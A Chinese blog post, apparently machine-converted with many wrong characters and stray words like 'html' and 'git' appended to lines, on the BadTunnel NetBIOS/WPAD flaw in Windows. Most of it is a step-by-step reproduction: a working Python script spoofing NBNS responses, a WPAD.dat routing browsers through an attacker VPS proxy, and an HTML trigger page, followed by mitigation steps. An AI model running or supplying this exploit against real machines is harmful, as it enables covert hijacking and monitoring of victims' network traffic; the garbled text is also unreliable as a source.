Windows又被曝出严重漏洞了!在近日发布的6月安全更新中,微软刚刚修复了一个高危漏洞。它能够影响从Windows 95到Windows10全部版本的操做系统。据了解,该漏洞由腾讯玄武实验室发现,并被命名为BadTunnel。html
BadTunnel多是Windows史上影响范围最普遍的漏洞。尤为是使用微软再也不提供安全支持系统(如Windows XP)的用户,有可能面临被秘密监控的风险。python
BadTunnel漏洞是Windows原始设计的问题,它能实现近乎完美的静默运行。当受害者点击一个网络链接,或是插入USB设备时,黑客就能劫持用户的全部网络使用,并成为用户电脑的“老大哥”。git
更糟糕的是,即便安全软件开启了主动防护功能,也没法检测到该攻击。发现该漏洞的研究人员称,黑客能经过Windows10 Edge浏览器、Internet Explorer、Office、运行于Windows上的第三方软件,甚至网络服务器和可移动设备(如U盘)入侵用户电脑。github
简单来说,黑客能够将他们的电脑假装成网络设备,如本地的打印机服务器,或是文件服务器。黑客不只能够监视非加密网络,还能够拦截和篡改Windows Update的下载内容。windows
黑客还能够利用受害访问过的网页,实施进一步攻击。举例来说,经过向网页缓存添加代码,黑客能够确保目标用户和黑客之间的“隧道”处于打通状态。浏览器
研究人员表示,这或许是历史上第一次,漏洞能够跨越网络防火墙和NAT等设备,让黑客能经过互联网攻击内网设备。缓存
下面模拟下真实的远程内网劫持攻击:
测试环境:本地一台内网windows主机 + 远程一台阿里云VPS
测试目标:本地用浏览器打开构造好的网页后 完成将本地网络流量劫持到远程的VPS主机上
说下具体的攻击步骤:
0x1 本地主机
本地不要作任何设置 只要保证IE浏览器的自动检测代理为默认开启就行
看下本地的环境吧
主机经过无线路由上网 处于内网之中
NetBois 缓存也已清空
0x2 远程主机
VPS上也不用作其余设置 只要准备两个文件就好了
第一个文件固然是 利用代码 我已经写好了 内容以下:
安全
__author__ = 'T3rry' # Poison a system's NetBIOS resolver for the WPAD name from outside NAT # Usage: python badtunnel.py wpad_server_ip from socket import * import sys import binascii import time HOST = '0.0.0.0' PORT = 137 BUFSIZE = 1024 ADDR = (HOST,PORT) TRANSACTION_ID_BLOCK=100 NB_RESPONSE_PACKET=''' FFFF 8500 0000000100000000 20464846414542454543414341434143414341434143414341434143414341414100 0020 0001 00FFFFFF 0006 0000 FFFFFFFF ''' PAYLOAD = binascii.a2b_hex((NB_RESPONSE_PACKET.replace('\t','').replace('\n','').replace(' ',''))) def usage(): print ("usage: python badtunnel.py wpad_server_ip") def parse_nbns(data): transaction_id=data[:2] print "TransactionId :", hex(ord(transaction_id[0])),hex(ord(transaction_id[1])) type= data[-4:-2] if type=='\x00\x20': print ("Type is: NB Query") elif type=='\x00\x21': print ("Type is: NBStat Query") return transaction_id def convert_ipv4_address(ip): ip_addr = ip packed_ip_addr = inet_aton(ip_addr) unpacked_ip_addr = inet_ntoa(packed_ip_addr) return binascii.hexlify(packed_ip_addr) if __name__ == "__main__": wpad_server_ip='' if(len(sys.argv) < 2 ): usage() exit() else: wpad_server_ip= binascii.a2b_hex(convert_ipv4_address(sys.argv[1])) badTunnel = socket(AF_INET, SOCK_DGRAM) badTunnel.bind(ADDR) while(True): transaction_id=0 print ('Waiting for message...') data, addr = badTunnel.recvfrom(BUFSIZE) print ("[*] NetBIOS request from %s:%s..."%(addr[0],addr[1])) transaction_id=parse_nbns(data) if(transaction_id>0): index=binascii.b2a_hex(transaction_id) print ("Start sending payload data...") for i in range(int(index,16)-TRANSACTION_ID_BLOCK,int(index,16)+TRANSACTION_ID_BLOCK): data=list(PAYLOAD) id=binascii.a2b_hex(hex(i)[2:]) data[0] =id[0] data[1] =id[1] data[58]=wpad_server_ip[0] data[59]=wpad_server_ip[1] data[60]=wpad_server_ip[2] data[61]=wpad_server_ip[3] payload=''.join(data) badTunnel.sendto(payload,addr) time.sleep(0.02) print ("Send payload data finished ") badTunnel.close()
第二个文件就是 WPAD.dat 文件 内容大概以下: 服务器
function FindProxyForURL(url, host) { // URLs within this network are accessed directly if (isInNet(host, "127.0.0.1", "255.255.255.0")) { return "DIRECT"; } return "PROXY x.x.x.x:8080; DIRECT"; }
其中x.x.x.x 为VPS的外网IP 将配置好的文件上传到Web服务器的 根目录下
对了 为了顺利的劫持流量 还要准备一个 http代理脚本 这个我就不贴了 网上一大堆
而后 分别运行攻击脚本和代理脚本
0x3 流量劫持
全部的准备工做已完成 下面就是用浏览器打开 构造好的html文件 其实文件的内容很简单 贴下吧 网络
<html> <img src="\\x.x.x.x\BadTunnel"> <img src="http://WPAD/wpad.dat"> </html>
其中x.x.x.x 为VPS的公网IP
浏览器本地打开网页
接下来咱们看看VPS上的反应
咱们看到攻击脚本检测到了请求 并发送了伪造的数据包
同时发现Web日志里有了WPAD.dat 文件的下载记录
有兴趣的同窗能够本身用WireShark抓包看看数据包的交互过程
咱们先本地查下看Netbois缓存记录
发现NetBois的缓存已经被成功写入
到了这里说明攻击已经成功了 咱们打开浏览器验证下
查下IP 发现显示为VPS的地址
再到vps看下 发现刚才的浏览器的访问请求已经被记录了下来
上面就是完整的利用过程 有什么问题能够一块儿探讨 涉及到的代码 这里
修复建议:
若是你用的是Windows系统,请参照如下方案加固本身电脑,有能力的话仍是打上补丁一劳永逸。
方案1 : 对无需访问Windows网络共享服务的我的用户来讲,能够考虑禁用NetBIOS over TCP/IP,具体为:网络链接 >> 本地链接或无线网络链接 > Internet协议版本4 (TCP/IPv4} >> 双击打幵属性 >> 高级 >> WINS选项卡 >> 选择【禁用TCP/IP的NetBIOS】
方案2 : IE >> internet选项 >> 链接选项页 >> 局域网设置 >> 关闭【自动检测设置】
方案3 : 修改 系统盘:\windows\system32\drivers\etc\hosts文件,添加一条记录127.0.0.1 WPAD
方案4 : 安装MS1WJ63和MS01WJ77补丁
对企业来讲 : 能够在边界防火墙上关闭内部网络和互联网之间的137/UDP通讯。
可是若是暂时没法升级,能够先参照其余方案作临时措施。其中方案3最简单易行,简化一下,其实一条CMD命令就能够搞定。
如下为WIN七、WIN10的执行方法。
方案3
> WIN7执行方法 <
开始 >> 命令提示符(右键) >> 以管理员身份运行 >> 输入echo. >> %WINDIR%\system32\drivers\etc\hosts & echo 127.0.0.1 WPAD >> %WINDIR%\system32\drivers\etc\hosts
> WIN10执行方法<
左下角右键 >> 命令提示符(管理员)>> 输入echo. >> %WINDIR%\system32\drivers\etc\hosts & echo 127.0.0.1 WPAD >> %WINDIR%\system32\drivers\etc\hosts